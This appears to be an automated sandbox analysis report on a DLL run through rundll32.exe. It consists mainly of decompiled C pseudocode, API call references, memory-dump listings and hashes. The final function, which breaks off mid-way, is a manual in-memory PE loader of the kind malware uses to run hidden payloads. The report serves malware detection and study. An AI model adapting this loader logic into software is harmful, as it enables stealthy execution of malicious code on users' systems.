Instruction Fuzzy Hash: E7210871604207AFE7109FE68CB095BB7BCEF41B787248915F52993140EB31EC659B92

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC103A, Relevance: 6.1, APIs: 4, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E6EFC103A(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0x6efe619c; // 0x6
				_t67 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E6EFC04CA(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E6EFC01B7(_t43, 1, 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E6EFC04CA(__eflags,  *0x6efe619c, _t51);
							if(__eflags != 0) {
								E6EFC0E38(_t60, _t51, 0x6effe640);
								E6EFBFEFF(0);
								_t65 = _t65 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E6EFC04CA(__eflags,  *0x6efe619c, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E6EFC04CA(0,  *0x6efe619c, 0);
							_push(0);
							L9:
							E6EFBFEFF();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E6EFC048B(_t67, _t2);
					if(_t51 == 0) {
						_t2 =  *0x6efe619c; // 0x6
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E6EFBFE28(_t39, _t43, _t49, _t53, _t60);
					asm("int3");
					_t5 =  *0x6efe619c; // 0x6
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E6EFC04CA(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E6EFC01B7(_t43, 1, 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E6EFC04CA(__eflags,  *0x6efe619c, _t60);
								if(__eflags != 0) {
									E6EFC0E38(_t60, _t60, 0x6effe640);
									E6EFBFEFF(0);
									_t65 = _t65 + 0xc;
									goto L29;
								} else {
									E6EFC04CA(__eflags,  *0x6efe619c, _t21);
									_push(_t60);
									goto L25;
								}
							} else {
								E6EFC04CA(__eflags,  *0x6efe619c, _t20);
								_push(_t60);
								L25:
								E6EFBFEFF();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E6EFC048B(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
							_t5 =  *0x6efe619c; // 0x6
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E6EFBFE28(_t39, _t43, _t49, _t53, _t60);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0x6efe619c; // 0x6
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E6EFC04CA(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t54 = E6EFC01B7(_t43, 1, 0x364);
										__eflags = _t54;
										if(__eflags != 0) {
											__eflags = E6EFC04CA(__eflags,  *0x6efe619c, _t54);
											if(__eflags != 0) {
												E6EFC0E38(_t61, _t54, 0x6effe640);
												E6EFBFEFF(0);
												goto L45;
											} else {
												_t40 = 0;
												E6EFC04CA(__eflags,  *0x6efe619c, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E6EFC04CA(0,  *0x6efe619c, 0);
											_push(0);
											L41:
											E6EFBFEFF();
											goto L36;
										}
									}
								} else {
									_t54 = E6EFC048B(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0x6efe619c; // 0x6
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}

0x6efc103a
0x6efc103a
0x6efc1045
0x6efc1047
0x6efc104c
0x6efc104f
0x6efc106d
0x6efc1070
0x6efc1075
0x6efc1077
0x00000000
0x6efc1079
0x6efc1085
0x6efc1088
0x6efc1089
0x6efc108b
0x6efc10b0
0x6efc10b2
0x6efc10cb
0x6efc10d2
0x6efc10d7
0x00000000
0x6efc10b4
0x6efc10b4
0x6efc10bd
0x6efc10c2
0x00000000
0x6efc10c2
0x6efc108d
0x6efc108d
0x6efc108d
0x6efc1096
0x6efc109b
0x6efc109c
0x6efc109c
0x6efc10a1
0x00000000
0x6efc10a1
0x6efc108b
0x6efc1051
0x6efc1057
0x6efc105b
0x6efc1068
0x00000000
0x6efc105d
0x6efc1060
0x6efc10da
0x6efc10da
0x6efc1062
0x6efc1062
0x6efc1062
0x6efc1064
0x6efc1064
0x6efc1064
0x6efc1060
0x6efc105b
0x6efc10dd
0x6efc10e5
0x6efc10e7
0x6efc10e9
0x6efc10f1
0x6efc10f6
0x6efc10f7
0x6efc10fc
0x6efc10fd
0x6efc1100
0x6efc111a
0x6efc111d
0x6efc1122
0x6efc1124
0x00000000
0x6efc1126
0x6efc1132
0x6efc1135
0x6efc1136
0x6efc1138
0x6efc115b
0x6efc115d
0x6efc1174
0x6efc117b
0x6efc1180
0x00000000
0x6efc115f
0x6efc1166
0x6efc116b
0x00000000
0x6efc116b
0x6efc113a
0x6efc1141
0x6efc1146
0x6efc1147
0x6efc1147
0x6efc114c
0x00000000
0x6efc114c
0x6efc1138
0x6efc1102
0x6efc1108
0x6efc110a
0x6efc110c
0x6efc1115
0x00000000
0x6efc110e
0x6efc110e
0x6efc1111
0x6efc118b
0x6efc118b
0x6efc1190
0x6efc1193
0x6efc1194
0x6efc1195
0x6efc119c
0x6efc119e
0x6efc11a3
0x6efc11a6
0x6efc11c4
0x6efc11c7
0x6efc11cc
0x6efc11ce
0x00000000
0x6efc11d0
0x6efc11dc
0x6efc11e0
0x6efc11e2
0x6efc1207
0x6efc1209
0x6efc1222
0x6efc1229
0x00000000
0x6efc120b
0x6efc120b
0x6efc1214
0x6efc1219
0x00000000
0x6efc1219
0x6efc11e4
0x6efc11e4
0x6efc11e4
0x6efc11ed
0x6efc11f2
0x6efc11f3
0x6efc11f3
0x00000000
0x6efc11f8
0x6efc11e2
0x6efc11a8
0x6efc11ae
0x6efc11b0
0x6efc11b2
0x6efc11bf
0x00000000
0x6efc11b4
0x6efc11b4
0x6efc11b7
0x6efc1231
0x6efc1231
0x6efc11b9
0x6efc11b9
0x6efc11b9
0x6efc11b9
0x6efc11bb
0x6efc11bb
0x6efc11bb
0x6efc11b7
0x6efc11b2
0x6efc1234
0x6efc123c
0x6efc123e
0x6efc123e
0x6efc1245
0x6efc1113
0x6efc1183
0x6efc1183
0x6efc1185
0x00000000
0x6efc1187
0x6efc118a
0x6efc118a
0x6efc1185
0x6efc1111
0x6efc110c
0x6efc10eb
0x6efc10f0
0x6efc10f0

APIs

GetLastError.KERNEL32(?,?,?,6EFC3575,00000000,00000001,6EFC084A,?,6EFC3A32,00000001,?,?,?,6EFC07E3,?,00000000), ref: 6EFC103F
_free.LIBCMT ref: 6EFC109C
_free.LIBCMT ref: 6EFC10D2
SetLastError.KERNEL32(00000000,00000006,000000FF,?,6EFC3A32,00000001,?,?,?,6EFC07E3,?,00000000,00000000,6EFE5098,0000002C,6EFC084A), ref: 6EFC10DD

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 2bf8e77335b2139668862287cb885c4bd5eb62708dcd59c77dc86b53d9fce197
Instruction ID: 19a29c31dd354d992b1f8b2d98c5a5e218cf7fc813ea192600fdfcd5268f815f
Opcode Fuzzy Hash: 2bf8e77335b2139668862287cb885c4bd5eb62708dcd59c77dc86b53d9fce197
Instruction Fuzzy Hash: 4D113D732A46477BD74126F54CB0E57313D9BC2F7CB314626F728C6191EF629C198212

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC1191, Relevance: 6.1, APIs: 4, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EFC1191(void* __ecx) {
				void* __esi;
				intOrPtr _t2;
				signed int _t3;
				signed int _t13;
				void* _t14;
				signed int _t18;
				long _t21;

				_t14 = __ecx;
				_t21 = GetLastError();
				_t2 =  *0x6efe619c; // 0x6
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E6EFC04CA(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t18 = E6EFC01B7(_t14, 1, 0x364);
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E6EFC04CA(__eflags,  *0x6efe619c, _t18);
							if(__eflags != 0) {
								E6EFC0E38(_t21, _t18, 0x6effe640);
								E6EFBFEFF(0);
								goto L13;
							} else {
								_t13 = 0;
								E6EFC04CA(__eflags,  *0x6efe619c, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E6EFC04CA(0,  *0x6efe619c, 0);
							_push(0);
							L9:
							E6EFBFEFF();
							goto L4;
						}
					}
				} else {
					_t18 = E6EFC048B(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0x6efe619c; // 0x6
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}

0x6efc1191
0x6efc119c
0x6efc119e
0x6efc11a3
0x6efc11a6
0x6efc11c4
0x6efc11c7
0x6efc11cc
0x6efc11ce
0x00000000
0x6efc11d0
0x6efc11dc
0x6efc11e0
0x6efc11e2
0x6efc1207
0x6efc1209
0x6efc1222
0x6efc1229
0x00000000
0x6efc120b
0x6efc120b
0x6efc1214
0x6efc1219
0x00000000
0x6efc1219
0x6efc11e4
0x6efc11e4
0x6efc11e4
0x6efc11ed
0x6efc11f2
0x6efc11f3
0x6efc11f3
0x00000000
0x6efc11f8
0x6efc11e2
0x6efc11a8
0x6efc11ae
0x6efc11b2
0x6efc11bf
0x00000000
0x6efc11b4
0x6efc11b7
0x6efc1231
0x6efc1231
0x6efc11b9
0x6efc11b9
0x6efc11b9
0x6efc11bb
0x6efc11bb
0x6efc11bb
0x6efc11b7
0x6efc11b2
0x6efc1234
0x6efc123c
0x6efc1245

APIs

GetLastError.KERNEL32(-00000017,6EFFE844,00000000,6EFC01A9,6EFBFEF4,6EFFE824,?,6EFBC421,00000000,6EFFE844,00000000), ref: 6EFC1196
_free.LIBCMT ref: 6EFC11F3
_free.LIBCMT ref: 6EFC1229
SetLastError.KERNEL32(00000000,00000006,000000FF,?,6EFBC421,00000000,6EFFE844,00000000), ref: 6EFC1234

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 01d7765847ac94ec7b2136ce6c5b7a137787109fc9ed805b1f5d64ba37814115
Instruction ID: a22b6a3ecb43f7d220147138805d586708f9f6bbdd785298ff6b9c0874e7d6ea
Opcode Fuzzy Hash: 01d7765847ac94ec7b2136ce6c5b7a137787109fc9ed805b1f5d64ba37814115
Instruction Fuzzy Hash: 62110AB62245073BD64116F94CB0E97317E9BC2F7C7314625F22CC61D0EF659C164212

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC5292, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC5292(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x6efe68f0, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E6EFC527B();
					E6EFC523D();
					_t13 = WriteConsoleW( *0x6efe68f0, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x6efc52af
0x6efc52b3
0x6efc52c0
0x6efc52c5
0x6efc52e0
0x6efc52e0
0x6efc52e6

APIs

WriteConsoleW.KERNEL32(?,?,6EFC084A,00000000,?,?,6EFC4E17,?,00000001,?,00000001,?,6EFC3502,00000000,00000000,00000001), ref: 6EFC52A9
GetLastError.KERNEL32(?,6EFC4E17,?,00000001,?,00000001,?,6EFC3502,00000000,00000000,00000001,00000000,00000001,?,6EFC3A56,6EFC07E3), ref: 6EFC52B5

Part of subcall function 6EFC527B: CloseHandle.KERNEL32(FFFFFFFE,6EFC52C5,?,6EFC4E17,?,00000001,?,00000001,?,6EFC3502,00000000,00000000,00000001,00000000,00000001), ref: 6EFC528B

___initconout.LIBCMT ref: 6EFC52C5

Part of subcall function 6EFC523D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EFC526C,6EFC4E04,00000001,?,6EFC3502,00000000,00000000,00000001,00000000), ref: 6EFC5250

WriteConsoleW.KERNEL32(?,?,6EFC084A,00000000,?,6EFC4E17,?,00000001,?,00000001,?,6EFC3502,00000000,00000000,00000001,00000000), ref: 6EFC52DA

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0936a9d09ad67f1834649e1c13d4f67d7a10b33a18dd4c0fcd386c61caa00986
Instruction ID: 34d0454e943217ac8a5bc044e329662356b855be7ae1b5dcf5d2f56c6b8ef10c
Opcode Fuzzy Hash: 0936a9d09ad67f1834649e1c13d4f67d7a10b33a18dd4c0fcd386c61caa00986
Instruction Fuzzy Hash: AAF03737060559BBCF121FD1CC18BCB3F69FF46BA1F254424FA1986110D73199209BD1

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBF52B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EFBF52B(void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				char* _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t26;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t40;
				char _t42;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t49;
				signed int _t54;
				void* _t57;
				intOrPtr* _t58;
				void* _t59;
				signed int _t64;
				signed int _t66;

				_t57 = __edx;
				_t48 = _a4;
				if(_t48 != 0) {
					__eflags = _t48 - 2;
					if(_t48 == 2) {
						L5:
						_push(_t59);
						E6EFC23D2(_t48, _t59);
						E6EFC1E1F(_t57, 0, 0x6effe218, 0x104);
						_t26 =  *0x6effe7c0; // 0x2943488
						 *0x6effe7b0 = 0x6effe218;
						_v20 = _t26;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							_t26 = 0x6effe218;
							_v20 = 0x6effe218;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t64 = E6EFBF7DC(E6EFBF663( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, 1);
							__eflags = _t64;
							if(__eflags != 0) {
								E6EFBF663( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t48 - 1;
								if(_t48 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t49 = E6EFC1D12(_t48, 0, _t64, _t64);
									__eflags = _t49;
									if(_t49 == 0) {
										_t58 = _v12;
										_t54 = 0;
										_t36 = _t58;
										__eflags =  *_t58;
										if( *_t58 == 0) {
											L17:
											_t37 = 0;
											 *0x6effe7b4 = _t54;
											_v12 = 0;
											_t49 = 0;
											 *0x6effe7b8 = _t58;
											L18:
											E6EFBFEFF(_t37);
											_v12 = 0;
											L19:
											E6EFBFEFF(_t64);
											_t40 = _t49;
											L20:
											return _t40;
										} else {
											goto L16;
										}
										do {
											L16:
											_t36 = _t36 + 4;
											_t54 = _t54 + 1;
											__eflags =  *_t36;
										} while ( *_t36 != 0);
										goto L17;
									}
									_t37 = _v12;
									goto L18;
								}
								_t42 = _v8 - 1;
								__eflags = _t42;
								 *0x6effe7b4 = _t42;
								_t43 = _t64;
								_t64 = 0;
								 *0x6effe7b8 = _t43;
								L12:
								_t49 = 0;
								goto L19;
							}
							_t44 = E6EFC01A4(__eflags);
							_push(0xc);
							_pop(0);
							 *_t44 = 0;
							goto L12;
						}
						__eflags =  *_t26;
						if( *_t26 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t48 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t45 = E6EFC01A4(__eflags);
					_t66 = 0x16;
					 *_t45 = _t66;
					E6EFC00E7();
					_t40 = _t66;
					goto L20;
				}
				return 0;
			}

0x6efbf52b
0x6efbf534
0x6efbf539
0x6efbf543
0x6efbf546
0x6efbf563
0x6efbf563
0x6efbf564
0x6efbf577
0x6efbf57c
0x6efbf584
0x6efbf58a
0x6efbf58d
0x6efbf58f
0x6efbf596
0x6efbf596
0x6efbf598
0x6efbf59b
0x6efbf59e
0x6efbf5a5
0x6efbf5be
0x6efbf5c3
0x6efbf5c5
0x6efbf5e6
0x6efbf5ee
0x6efbf5f1
0x6efbf60c
0x6efbf60f
0x6efbf616
0x6efbf61a
0x6efbf61c
0x6efbf623
0x6efbf626
0x6efbf628
0x6efbf62a
0x6efbf62c
0x6efbf636
0x6efbf636
0x6efbf638
0x6efbf63e
0x6efbf641
0x6efbf643
0x6efbf649
0x6efbf64a
0x6efbf650
0x6efbf653
0x6efbf654
0x6efbf65a
0x6efbf65d
0x00000000
0x00000000
0x00000000
0x00000000
0x6efbf62e
0x6efbf62e
0x6efbf62e
0x6efbf631
0x6efbf632
0x6efbf632
0x00000000
0x6efbf62e
0x6efbf61e
0x00000000
0x6efbf61e
0x6efbf5f6
0x6efbf5f6
0x6efbf5f7
0x6efbf5fc
0x6efbf5fe
0x6efbf600
0x6efbf605
0x6efbf605
0x00000000
0x6efbf605
0x6efbf5c7
0x6efbf5cc
0x6efbf5ce
0x6efbf5cf
0x00000000
0x6efbf5cf
0x6efbf591
0x6efbf594
0x00000000
0x00000000
0x00000000
0x6efbf594
0x6efbf548
0x6efbf54b
0x00000000
0x00000000
0x6efbf54d
0x6efbf554
0x6efbf555
0x6efbf557
0x6efbf55c
0x00000000
0x6efbf55c
0x00000000

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EFBF56E, 6EFBF575, 6EFBF5AB

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: b4a7a24fefe887e0d980165b5159cf18c8ea9d6b45fd7d3ba6d002717158fbd8
Instruction ID: 1382a202e49e778974af0ec710fd19d2b8f33e6ffec6538999d28c4ffa6b09b2
Opcode Fuzzy Hash: b4a7a24fefe887e0d980165b5159cf18c8ea9d6b45fd7d3ba6d002717158fbd8
Instruction Fuzzy Hash: 02419FB6E04219AFDB91DFDADCA099FBBBDEB85714B300067E814D7250E7718A41C750

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 4928 Parent PID: 3012 rundll32.exeCOMMON

Executed Functions

Function 6EFBBB30, Relevance: 14.0, APIs: 9, Instructions: 493
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E6EFBBB30(void* __ebx, signed int* __ecx, signed int __edx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v40;
				char _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int _v56;
				void* _v60;
				long _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				long _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _v92;
				signed int _v96;
				intOrPtr _v100;
				signed int _t198;
				void* _t209;
				long _t212;
				intOrPtr _t221;
				void* _t231;
				void _t235;
				void* _t237;
				signed int _t239;
				long _t240;
				signed int _t242;
				void* _t244;
				intOrPtr _t245;
				long _t248;
				intOrPtr* _t253;
				signed int* _t255;
				signed int* _t258;
				void* _t263;
				signed int _t264;
				signed int _t265;
				signed char _t266;
				intOrPtr _t267;
				signed int _t270;
				void* _t279;
				void* _t288;
				void* _t293;
				intOrPtr _t294;
				signed int _t297;
				void _t298;
				intOrPtr _t299;
				intOrPtr* _t301;
				intOrPtr* _t302;
				long _t306;
				signed char _t307;
				signed int _t308;
				intOrPtr _t312;
				void _t314;
				signed int _t318;
				signed int _t319;
				void _t321;
				intOrPtr _t329;
				intOrPtr _t333;
				void* _t336;
				signed int* _t339;
				void* _t341;
				signed int _t343;
				intOrPtr _t345;
				intOrPtr _t346;
				void _t348;
				signed int _t353;
				signed short* _t354;
				void* _t355;
				signed int _t358;
				long _t361;
				void* _t362;
				intOrPtr _t367;
				intOrPtr _t368;
				long _t369;
				long _t371;
				signed int _t375;
				void* _t376;
				long _t379;
				intOrPtr _t380;
				intOrPtr* _t384;
				signed int _t388;
				void* _t390;
				intOrPtr _t392;
				long _t394;
				intOrPtr _t395;
				signed int _t396;
				void* _t397;
				void* _t398;

				_t198 =  *0x6efe609c; // 0x6fb7da39
				_v8 = _t198 ^ _t396;
				_t339 = __ecx;
				_push(__esi);
				_t371 = 0;
				_v56 = __edx;
				_v48 = __ecx;
				_push(__edi);
				if(__edx < 0x40) {
					L3:
					_push(0xd);
					goto L88;
				} else {
					if( *__ecx != 0x5a4d) {
						L87:
						_push(0xc1);
						goto L88;
					} else {
						_t4 = _t339 + 0x3c; // 0xcccccccc
						_t306 =  *_t4;
						_v72 = _t306;
						_t6 = _t306 + 0xf8; // 0xcccccdc4
						if(__edx >= _t6) {
							_t297 = _t306 + __ecx;
							_v68 = _t297;
							if( *(_t306 + __ecx) != 0x4550 ||  *((intOrPtr*)(_t297 + 4)) != 0x14c) {
								goto L87;
							} else {
								_t307 =  *(_t297 + 0x38);
								if((_t307 & 0x00000001) != 0) {
									goto L87;
								} else {
									_t358 =  *(_t297 + 6) & 0x0000ffff;
									_t341 = ( *(_t297 + 0x14) & 0x0000ffff) + 0x24;
									if(_t358 != 0) {
										_t355 = _t341 + _t297;
										do {
											_t294 =  *((intOrPtr*)(_t355 + 4));
											_t355 = _t355 + 0x28;
											_t335 =  !=  ? _t294 : _t307;
											_t336 = ( !=  ? _t294 : _t307) +  *((intOrPtr*)(_t355 - 0x28));
											_t337 =  <=  ? _t371 : _t336;
											_t371 =  <=  ? _t371 : _t336;
											_t307 =  *(_t297 + 0x38);
											_t358 = _t358 - 1;
										} while (_t358 != 0);
									}
									__imp__GetNativeSystemInfo( &_v44); // executed
									_t308 = _v40;
									_t343 =  !(_t308 - 1);
									_t361 = _t308 - 0x00000001 +  *((intOrPtr*)(_t297 + 0x50)) & _t343;
									if(_t361 != (_t308 - 0x00000001 + _t371 & _t343)) {
										goto L87;
									} else {
										_t209 = VirtualAlloc( *(_t297 + 0x34), _t361, 0x3000, 4); // executed
										_v60 = _t209;
										if(_t209 != 0) {
											L13:
											_v100 = GetProcessHeap;
											_t212 = HeapAlloc(GetProcessHeap(), 8, 0x44);
											_t362 = _t212;
											_v76 = _t362;
											if(_t362 != 0) {
												 *((intOrPtr*)(_t362 + 4)) = _v60;
												 *((intOrPtr*)(_t362 + 0x1c)) = E6EFBBA90;
												 *(_t362 + 0x14) = ( *(_t297 + 0x16) & 0x0000ffff) >> 0x0000000d & 0x00000001;
												 *((intOrPtr*)(_t362 + 0x20)) = E6EFBBAB0;
												 *((intOrPtr*)(_t362 + 0x24)) = E6EFBBAD0;
												 *((intOrPtr*)(_t362 + 0x28)) = E6EFBBAE0;
												 *((intOrPtr*)(_t362 + 0x2c)) = E6EFBBB00;
												 *(_t362 + 0x34) = 0;
												 *(_t362 + 0x40) = _v40;
												if(E6EFBB840(_v56,  *(_t297 + 0x54)) == 0) {
													L33:
													E6EFBE93F( *((intOrPtr*)(_t362 + 0x30)));
													_t220 =  *((intOrPtr*)(_t362 + 8));
													_t398 = _t397 + 4;
													if( *((intOrPtr*)(_t362 + 8)) != 0) {
														_t375 = 0;
														if( *((intOrPtr*)(_t362 + 0xc)) > 0) {
															do {
																_t220 =  *((intOrPtr*)(_t362 + 8));
																_t312 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 8)) + _t375 * 4));
																if(_t312 != 0) {
																	 *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x2c))))(_t312,  *(_t362 + 0x34));
																	_t220 =  *((intOrPtr*)(_t362 + 8));
																	_t398 = _t398 + 8;
																}
																_t375 = _t375 + 1;
															} while (_t375 <  *((intOrPtr*)(_t362 + 0xc)));
														}
														E6EFBE93F(_t220);
														_t398 = _t398 + 4;
													}
													_t221 =  *((intOrPtr*)(_t362 + 4));
													if(_t221 != 0) {
														 *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x20))))(_t221, 0, 0x8000,  *(_t362 + 0x34));
													}
													HeapFree(_v100(), 0, _t362);
													return E6EFBC65E(_v8 ^ _t396);
												} else {
													_t231 = VirtualAlloc(_v60,  *(_t297 + 0x54), 0x1000, 4); // executed
													_t376 = _t231;
													E6EFBDD40(_t376, _v48,  *(_t297 + 0x54));
													_t397 = _t397 + 0xc;
													_v64 = 0;
													_t235 = _t376 + _v48[0xf];
													 *_t362 = _t235;
													 *((intOrPtr*)(_t235 + 0x34)) = _v60;
													_t314 =  *_t362;
													_t345 =  *((intOrPtr*)(_t362 + 4));
													_v52 = _t345;
													_t237 = ( *(_t314 + 0x14) & 0x0000ffff) + 0x24;
													if(0 >=  *(_t314 + 6)) {
														L29:
														_t239 =  *((intOrPtr*)(_t314 + 0x34)) -  *(_t297 + 0x34);
														_v68 = _t239;
														if(_t239 == 0) {
															L51:
															_t240 = 1;
														} else {
															if( *((intOrPtr*)(_t314 + 0xa4)) != 0) {
																_t353 =  *((intOrPtr*)(_t362 + 4));
																_t301 =  *((intOrPtr*)(_t314 + 0xa0)) + _t353;
																_v56 = _t353;
																_t267 =  *_t301;
																if(_t267 != 0) {
																	do {
																		_t329 =  *((intOrPtr*)(_t301 + 4));
																		_v72 = _t267 + _t353;
																		_t354 = _t301 + 8;
